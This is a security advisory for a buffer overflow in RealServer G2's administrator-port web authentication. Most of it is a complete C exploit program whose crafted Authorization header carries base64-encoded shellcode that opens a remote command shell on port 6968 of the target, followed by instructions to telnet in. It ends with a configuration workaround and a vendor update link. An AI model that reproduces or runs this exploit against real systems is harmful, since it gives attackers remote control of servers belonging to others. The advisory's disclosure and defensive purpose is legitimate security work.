|
Vulnerability RealServer G2 Affected RealNetworks RealServer G2 Description dark spyrit found following. A buffer overflow exists in the web authentication on the RealServer administrator port. By sending a long user/password pair you can overflow the buffer and execute arbitrary code. Example: GET /admin/index.html HTTP/1.0 Connection: Keep-Alive .... Authorization: Basic <long base64 encoded user/password> As basic authorization is base64 encoded, this made coding an exploit extremely annoying - but, of course, could be done. Example code has been written for the latest (at present) freely available NT version of RealServer G2 and is available at: http://www.beavuh.org The exploit will spawn a command prompt on port 6968 and has been tested extensively. This was tested with a default installation - if RealServer is installed in a different directory than the default, the buffer will need to be adjusted accordingly. The administrator port is randomly selected at installation, but as you'll only be testing on your own networks this shouldn't matter. This was only checked the NT version of this software for the vulnerability, and it is unknown whether versions on other platforms are affected. /* RealNetworks RealServer G2 buffer overflow exploit * * by dark spyrit <dspyrit@beavuh.org> * quick unix port by team teso * * the windows binary is available at http://www.beavuh.org. * * This exploits a buffer overflow in RealServers web authentication on * the administrator port - hence the reason the shellcode is base64 encoded. * This has been tested on the NT version with a default installation. * If RealServer is installed in a different directory than the default, the * buffer will need to be adjusted accordingly. * The administrator port is randomly selected at installation, but as you'll * only be testing on your own networks this won't matter :) */ #include <sys/types.h> #include <sys/time.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <unistd.h> #include <errno.h> #include <stdlib.h> #include <stdio.h> #include <string.h> #include <fcntl.h> #include <netdb.h> /* local functions */ unsigned long int net_resolve (char *host); int net_connect (struct sockaddr_in *cs, char *server, unsigned short int port, int sec); unsigned char sploit[] = "GET /admin/index.html HTTP/1.0\x0d\x0a" "Connection: Keep-Alive\x0d\x0a" "User-Agent: Mozilla/4.04 [en] (X11; I; Beavuh OS .9 i486; Nav)\x0d\x0a" "Host: 111.111.11.1:1111\x0d\x0a" "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*\x0d\x0a" "Accept-Language: en\x0d\x0a" "Accept-Charset: iso-8859-1,*,utf-8\x0d\x0a" "Authorization: Basic kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC" "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk" "JCQkJCQkJCQkJCQkJCQkJCQ6wiQkJBXRToAkJCQkJCQkJCQkJCQkJCQkIt0JPiL/jPAUPf" "QUFnyr1mxxovHSIAwmeL6M/aWu5mcQEbB6whW/xOL0PwzybELSTLArITAdflSUVZSs5T/E" "6tZWuLsMsCshMB1+bOcVv8Ti9D8M8mxBjLArITAdflSUVZSs5T/E6tZWuLsg8YFM8BQQFB" "AUP9X6JNqEFZT/1fsagJT/1fwM8BXULAMq1irQKtfSFBXVq1W/1fASFBXrVatVv9XwEiwR" "IkHV/9XxDPAi0b0iUc8iUdAiwaJRzgzwGa4AQGJRyxXVzPAUFBQQFBIUFCtVjPAUP9XyP9" "28P9XzP92/P9XzEhQUFP/V/SL2DPAtARQwegEUP9X1IvwM8CLyLUEUFBXUVD/d6j/V9CDP" "wF8IjPAUFf/N1b/d6j/V9wLwHQvM8BQ/zdWU/9X+GpQ/1fg68gzwFC0BFBWU/9X/FczyVF" "QVv93rP9X2GpQ/1fg66pQ/1fkkNLcy9fc1aqrmdrr/Pjt/Mnw6fyZ3vztyu346+3s6dD3/" "/bYmdrr/Pjt/Mnr9vr86urYmdr19ur80fj3/fX8mcn8/PLX+PT8/cnw6fyZ3vX2+/j12PX" "19vqZzuvw7fzf8PX8mcv8+P3f8PX8mcr1/Pzpmdzh8O3J6/b6/Orqmc7K1trSqquZ6vb68" "vztmfvw9/2Z9fDq7fz3mfj6+vzp7Znq/Pf9mev8+u+Zm5mCoZmZmZmZmZmZmZmZmfr0/bf" "84fyZ/////w==\x0d\x0a\x0d\x0a\x00"; int main (int argc, char **argv) { int socket; char *server; unsigned short int port; struct sockaddr_in sa; if (argc != 3) { printf ("RealServer G2 exploit [NT] - please check http://www.beavuh.org for info.\n" "by dark spyrit <dspyrit@beavuh.org>, port by team teso\n\n" "usage: %s <host> <admin_port>\n" "eg - %s host.com 6666\n" "the exploit will spawn a command prompt on port 6968\n\n", argv[0], argv[0]); exit (EXIT_FAILURE); } server = argv[1]; port = atoi (argv[2]); socket = net_connect (&sa, server, port, 45); if (socket <= 0) { perror ("net_connect"); exit (EXIT_FAILURE); } write (socket, sploit, strlen (sploit)); sleep (1); close (socket); printf ("data sent. try \"telnet %s 6968\" now \n", server); exit (EXIT_SUCCESS); } unsigned long int net_resolve (char *host) { long i; struct hostent *he; i = inet_addr (host); if (i == -1) { he = gethostbyname (host); if (he == NULL) { return (0); } else { return (*(unsigned long *) he->h_addr); } } return (i); } int net_connect (struct sockaddr_in *cs, char *server, unsigned short int port, int sec) { int n, len, error, flags; int fd; struct timeval tv; fd_set rset, wset; /* first allocate a socket */ cs->sin_family = AF_INET; cs->sin_port = htons (port); fd = socket (cs->sin_family, SOCK_STREAM, 0); if (fd == -1) return (-1); cs->sin_addr.s_addr = net_resolve (server); if (cs->sin_addr.s_addr == 0) { close (fd); return (-1); } flags = fcntl (fd, F_GETFL, 0); if (flags == -1) { close (fd); return (-1); } n = fcntl (fd, F_SETFL, flags | O_NONBLOCK); if (n == -1) { close (fd); return (-1); } error = 0; n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in)); if (n < 0) { if (errno != EINPROGRESS) { close (fd); return (-1); } } if (n == 0) goto done; FD_ZERO(&rset); FD_ZERO(&wset); FD_SET(fd, &rset); FD_SET(fd, &wset); tv.tv_sec = sec; tv.tv_usec = 0; n = select(fd + 1, &rset, &wset, NULL, &tv); if (n == 0) { close(fd); errno = ETIMEDOUT; return (-1); } if (n == -1) return (-1); if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) { if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) { len = sizeof(error); if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) { errno = ETIMEDOUT; return (-1); } if (error == 0) { goto done; } else { errno = error; return (-1); } } } else return (-1); done: n = fcntl(fd, F_SETFL, flags); if (n == -1) return (-1); return (fd); } Solution Brendan Brannen posted a workaround to help any of you that are using the RealServer G2: "While this may not be the best fix for everyone, on our server, I simply went in to the .cfg file and (after backing it up of course) deleted the entry that specified the admin port. I then stopped and restarted the rmserver service. While this does of course effectively turn off the administrative capabilities of the software, you can of course switch between your backed up version and the new one of the CFG file to re-enable this service. It's a kludge, but it fixes the hole until Real comes out with something..." Update available on: http://service.real.com/help/faq/servg260.html